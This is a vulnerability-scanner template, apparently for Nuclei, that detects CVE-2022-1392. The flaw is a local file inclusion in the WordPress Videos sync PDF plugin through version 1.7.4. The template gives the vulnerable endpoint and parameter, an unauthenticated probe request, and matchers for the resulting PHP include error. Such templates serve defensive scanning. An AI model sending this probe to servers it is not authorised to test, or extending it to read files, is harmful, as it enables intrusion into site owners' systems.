id: CVE-2022-1392

info:
  name: WordPress Videos sync PDF <=1.7.4 - Local File Inclusion
  author: Veshraj
  severity: high
  description: WordPress Videos sync PDF 1.7.4 and prior does not validate the p parameter before using it in an include statement, which could lead to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Upgrade to the latest version of WordPress Videos sync PDF plugin (>=1.7.5) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fe3da8c1-ae21-4b70-b3f5-a7d014aa3815
    - https://packetstormsecurity.com/files/166534/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1392
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1392
    cwe-id: CWE-22
    epss-score: 0.50891
    epss-percentile: 0.97904
    cpe: cpe:2.3:a:commoninja:videos_sync_pdf:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: commoninja
    product: videos_sync_pdf
    framework: wordpress
  tags: cve,cve2022,lfi,wp-plugin,unauth,wpscan,packetstorm,wp,wordpress,commoninja,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=tout"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "failed to open stream: No such file or directory"
          - "REPERTOIRE_VIDEOSYNCPDFreglages/Menu_Plugins/tout.php"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100db890eb5b7e5a4a00a8f67fa62302678b9d5aa5ff049cc579fe933a2ab8f3511022033159cd9ef79a5a1fe96d3731a8be4fc8d7f83900d45da00a8cf39305cd4e964:922c64590222798bb761d5b6d8e72950